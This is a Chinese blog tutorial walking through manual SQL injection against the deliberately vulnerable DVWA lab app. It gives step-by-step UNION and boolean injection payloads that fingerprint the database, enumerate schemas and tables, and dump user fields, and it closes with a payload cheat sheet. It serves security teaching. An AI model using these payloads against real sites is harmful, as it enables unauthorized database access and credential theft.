SQL注入(二)

DAVW之php+mysql手工注入

一、 低安全等级文件包含#引用实验吧实验

  1. 使用浏览器打开http://192.168.1.3:8080/dvwa/login.php ,输入用户名:admin密码:password进行登录。如图一所示
    这里写图片描述
  2. 登录需要将DVWA的安全级别调整为low(见红框内)。调整之后选择SQL injection,进入页面。如图二所示。
    这里写图片描述
  3. 提示输入User ID,输入正确的ID,将显示ID First name,Surname信息。如图3所示
    这里写图片描述
  4. 可以得知此处为注入点,尝试输入【‘】,返回错误。如图四所示
    这里写图片描述
  5. 尝试遍历数据库表,提示输入的值时ID,可以初步判断此处为数字类型的注入。尝试输入: 1 or 1=1 ,尝试遍历数据库表。如图5所示
    这里写图片描述
  6. 尝试输入:1or 1=1,想要遍历数据库表,并没有达成目的,猜测程序将此处看成了字符型,可以尝试输入:1‘ or ‘1’ =‘ 1后遍历出数据库中的所有内容。下面尝试结合各种不同语句,得到不同的结果。如图6所示
    这里写图片描述
  7. 利用order by num语句测试查询信息列表,尝试修改num的值,这里我们输入【 1’ order by 1– 】结果页面正常显示,注意–后面有空格。继续测试,【 1’ order by 2– 】,【1’ order by 3– 】,当输入3时,页面报错。页面错误信息如下,Unknown ‘3’ in ‘order clause’,由此我们判断查询结果值为2列。如图7所示
    这里写图片描述
  8. 通过使用user(),database(),version()三个内置函数得到连接数据库的账户名、数据库名称,数据库版本信息,首先参数注入:1’ and 1=2 union select 1,2 – (注意有空格)。如图8所示
    这里写图片描述
    由上图得知,从而得出First name处显示结果为查询结果第一列的值,surname处显示结果为查询结果第二列的值。
  9. 在得知显示之后,使用user(),database(),version()三个内置函数得到连接数据库的账户名、数据库名称、数据库版本信息。通过注入: 1’ and 1=2 union select user(),database() – 得到数据库用户以及数据库名称(注意空格)。连接数据库的用户为root@localhost,数据库名称为dvwa,如图9所示
    这里写图片描述
  10. 通过注入: 1’ and 1=2 union select version(),database() – 得到数据库版本信息,此处数据版本为:5.0.90-community-nt。图图10所示
    这里写图片描述
  11. 通过注入: 1‘ and 1=2 union select 1,@@global.version_compile_os from mysql.user – 获得操作系统信息。如图11所示
    这里写图片描述
  12. 通过注入: 1’ and 1=2 union select 1,schema_name from information_schema.schemata – 查询mysql数据库,所有的数据库名字:这里利用mysql默认的数据库information_scehma,该数据库存储了mysql所有数据库和表的信息。如图12所示
    这里写图片描述
  13. 通过注入: 1’ and exists(select*from users) – 猜解dvwa数据库中的表名。利用1‘ and exists(select*from 表名),这里测试的结果,表名为users,在真是渗透环境中,攻击者往往关心存储管理员用户与密码信息的表。如图13所时候
    这里写图片描述
  14. 猜解字段名: 1‘ and exists(select 表名 from users) –,这里测试的字段名由first_name, last_name使用; 1‘ and exists(select first_name from users) – 和1’ and exists(select last_name from users) –猜解字段名如图
    这里写图片描述
  15. 爆出数据库中字段的内容· 1‘ and 1=2 union select first_name,last_name from users – ,这里其实如果是存放管理员账户的表,那么用户名,密码信息字段就可以爆出来了。如图15所示
    这里写图片描述
  16. 查看low等级源代码。如图17所示这里写图片描述

总结一下

1 or 1=1/1or1’ =‘ 1#遍历出数据库中的所有内容
order by num#测试查询信息列表
user(),database(),version()#三个内置函数得到连接数据库的账户名、数据库名称,数据库版本信息
1and 1=2 union select version(),database() -- #得到数据库版本信息
1and 1=2 union select 1,@@global.version_compile_os from mysql.user -- #获得操作系统信息
1and 1=2 union select 1,schema_name from information_schema.schemata -- #查询mysql数据库,所有的数据库名字
1and exists(select*from users) -- #猜解dvwa数据库中的表名。利用1‘ and exists(select*from 表名)
1and exists(select 表名 from users) -- #猜解字段名,这里测试的字段名由first_name, last_name使用
1and 1=2 union select first_name,last_name from users -- #爆出数据库中字段的内容
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值